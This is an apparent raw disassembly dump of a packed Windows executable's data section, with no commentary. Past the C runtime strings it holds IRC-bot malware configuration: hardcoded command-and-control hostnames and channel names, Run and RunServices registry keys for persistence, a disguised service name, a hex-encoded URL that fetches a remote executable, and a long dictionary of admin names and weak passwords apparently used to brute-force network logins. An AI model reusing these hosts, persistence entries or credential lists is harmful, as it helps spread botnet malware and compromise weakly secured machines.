dword_427700	dd 0FFFFFFFFh, 41E2AAh,	41E2BEh	; DATA XREF: sub_41E1D3+5o
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E52A+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E52A+4Fo
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .packed:off_43D094o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: .packed:off_43D090o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .packed:off_43D30Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .packed:off_43D4DCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; .packed:off_43DAE4o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DAE4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DAFC	; DATA XREF: .packed:00427D90o
					; .packed:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: .packed:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: .packed:00427C8Co
		dd offset off_43DAFC
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB1C	; DATA XREF: .packed:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: .packed:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: .packed:00427C9Co
		dd offset off_43DB1C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB3C	; DATA XREF: .packed:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: .packed:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: .packed:00427CC8o
		dd offset off_43DB3C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DB60	; DATA XREF: .packed:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: .packed:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: .packed:00427CE8o
		dd offset off_43DB60
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: .packed:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: .packed:00427CF0o
		dd offset off_43DAE4
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	.packed:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	.packed:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0)
					; DATA XREF: .packed:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427F78h, 4	dup(0)
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	.packed:loc_426AE2o
		dd offset off_43DAE4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DAFC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB1C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: .packed:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	.packed:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	.packed:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	.packed:loc_426B18o
		dd offset off_43DB3C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: .packed:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	.packed:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: .packed:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
		dd 28308h, 2 dup(0)
		dd 2836Eh, 271C4h, 28144h, 2 dup(0)
		dd 28B82h, 27000h, 92h dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: sub_41C164+1Fo
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset sub_40F0EC
dword_429010	dd 0			; DATA XREF: sub_41C164+1Ao
dword_429014	dd 0			; DATA XREF: sub_41C164+10o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset sub_424F62
dword_429028	dd 0			; DATA XREF: sub_41C164:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset sub_424F73
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: sub_401221+4A4r
					; sub_401221+539r
dword_429070	dd 0C8Bh		; DATA XREF: sub_401221+585r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: sub_401221+13Dr
dword_429090	dd 1			; DATA XREF: sub_401221:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDoos		db 'DOOS',0             ; DATA XREF: sub_401221+5Do
					; sub_401ACD:loc_40445Do ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: sub_401221+490o
					; sub_401221+52Ao
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: sub_401221+4B0o
					; sub_401221+540o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: sub_401221+4C7o
					; sub_401221+552o
		align 4
byte_4290E4	db 73h			; DATA XREF: sub_401221:loc_401789r
					; sub_401221+576o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: sub_401221+58Co
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: sub_401221+59Eo
		align 4
byte_429108	db 67h			; DATA XREF: sub_401221+143o
					; sub_401221+167w ...
		db 63h,	6Ah, 66h
		dd 6F726A62h, 78652E61h, 65h, 6E6E6977h, 61622E74h, 74h
aWindowsSercesA	db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo
asc_429138:				; DATA XREF: .packed:0040AB2Bo
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 10h
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 4
off_42915C	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429160	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429938h, 429928h, 429918h,	42990Ch
		dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h,	4298D8h
		dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh,	4298A0h
		dd 42989Ch, 429894h, 429890h, 0
		dd offset byte_43DB88
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_0	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294CC	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: .packed:004294B8o
		align 4
aLan		db 'lan',0              ; DATA XREF: .packed:004294B0o
aMain		db 'main',0             ; DATA XREF: .packed:004294ACo
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: .packed:004294A8o
aBlank		db 'blank',0            ; DATA XREF: .packed:004294A4o
		align 4
aOffice		db 'office',0           ; DATA XREF: .packed:004294A0o
		align 10h
aControl	db 'control',0          ; DATA XREF: .packed:0042949Co
aXp		db 'xp',0               ; DATA XREF: .packed:00429498o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .packed:00429494o
		align 4
aHp		db 'hp',0               ; DATA XREF: .packed:00429490o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: .packed:0042948Co
aCompaq		db 'compaq',0           ; DATA XREF: .packed:00429488o
		align 4
aDell		db 'dell',0             ; DATA XREF: .packed:00429484o
		align 10h
aCisco		db 'cisco',0            ; DATA XREF: .packed:00429480o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .packed:0042947Co
aOrainstall	db 'orainstall',0       ; DATA XREF: .packed:00429474o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .packed:00429470o
		align 4
aSql		db 'sql',0              ; DATA XREF: .packed:0042946Co
aSa		db 'sa',0               ; DATA XREF: .packed:00429468o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .packed:00429464o
		align 4
aDb1		db 'db1',0              ; DATA XREF: .packed:0042945Co
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .packed:00429458o
		align 4
aData		db 'data',0             ; DATA XREF: .packed:00429454o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .packed:00429450o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .packed:0042944Co
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .packed:00429448o
		align 10h
aAccess		db 'access',0           ; DATA XREF: .packed:00429444o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .packed:0042943Co
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .packed:00429438o
		align 4
aDomain		db 'domain',0           ; DATA XREF: .packed:00429434o
		align 4
aHello		db 'hello',0            ; DATA XREF: .packed:00429430o
		align 4
aHell		db 'hell',0             ; DATA XREF: .packed:0042942Co
		align 4
aGod		db 'god',0              ; DATA XREF: .packed:00429428o
aSex		db 'sex',0              ; DATA XREF: .packed:00429424o
					; .packed:off_438A68o
aSlut		db 'slut',0             ; DATA XREF: .packed:00429420o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .packed:0042941Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .packed:00429418o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .packed:00429414o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .packed:00429410o
		align 10h
aTechnical	db 'technical',0        ; DATA XREF: .packed:0042940Co
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .packed:00429408o
		align 4
aLogin		db 'login',0            ; DATA XREF: .packed:00429404o
		align 10h
aMary		db 'mary',0             ; DATA XREF: .packed:00429400o
		align 4
aKatie		db 'katie',0            ; DATA XREF: .packed:004293FCo
		align 10h
aKate		db 'kate',0             ; DATA XREF: .packed:004293F4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .packed:004293F0o
		align 10h
aEric		db 'eric',0             ; DATA XREF: .packed:004293ECo
		align 4
aChris		db 'chris',0            ; DATA XREF: .packed:004293E8o
		align 10h
aIan		db 'ian',0              ; DATA XREF: .packed:004293E4o
aNeil		db 'neil',0             ; DATA XREF: .packed:004293E0o
		align 4
aLee		db 'lee',0              ; DATA XREF: .packed:004293DCo
aBrian		db 'brian',0            ; DATA XREF: .packed:004293D8o
		align 4
aSusan		db 'susan',0            ; DATA XREF: .packed:004293D0o
		align 10h
aSue		db 'sue',0              ; DATA XREF: .packed:004293CCo
aSam		db 'sam',0              ; DATA XREF: .packed:004293C8o
aLuke		db 'luke',0             ; DATA XREF: .packed:004293C4o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: .packed:004293C0o
					; .packed:004293D4o
		align 4
aJohn		db 'john',0             ; DATA XREF: .packed:004293BCo
		align 10h
aMike		db 'mike',0             ; DATA XREF: .packed:004293B8o
		align 4
aBill		db 'bill',0             ; DATA XREF: .packed:004293B4o
		align 10h
aFred		db 'fred',0             ; DATA XREF: .packed:004293B0o
		align 4
aJoe		db 'joe',0              ; DATA XREF: .packed:004293ACo
aJen		db 'jen',0              ; DATA XREF: .packed:004293A8o
aBob		db 'bob',0              ; DATA XREF: .packed:004293A4o
					; .packed:004293F8o
aQwe		db 'qwe',0              ; DATA XREF: .packed:004293A0o
aZxc		db 'zxc',0              ; DATA XREF: .packed:0042939Co
aAsd		db 'asd',0              ; DATA XREF: .packed:00429398o
aQaz		db 'qaz',0              ; DATA XREF: .packed:00429394o
aWin2000	db 'win2000',0          ; DATA XREF: .packed:00429390o
aWinnt		db 'winnt',0            ; DATA XREF: .packed:0042938Co
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .packed:00429388o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .packed:00429384o
		align 4
aWin98		db 'win98',0            ; DATA XREF: .packed:00429380o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .packed:0042937Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: .packed:00429378o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: .packed:00429374o
aOem		db 'oem',0              ; DATA XREF: .packed:00429370o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; .packed:0042936Co
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .packed:00429368o
		align 10h
aHome		db 'home',0             ; DATA XREF: .packed:00429364o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .packed:00429360o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .packed:0042935Co
		align 10h
aInternet	db 'internet',0         ; DATA XREF: .packed:00429358o
					; .packed:004294B4o
		align 4
aWww		db 'www',0              ; DATA XREF: .packed:00429354o
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; .packed:00429350o
aOutlook	db 'outlook',0          ; DATA XREF: .packed:0042934Co
aMail		db 'mail',0             ; DATA XREF: .packed:00429348o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .packed:00429344o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .packed:00429340o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; .packed:00429338o
		align 4
aSystem		db 'system',0           ; DATA XREF: .packed:00429334o
		align 4
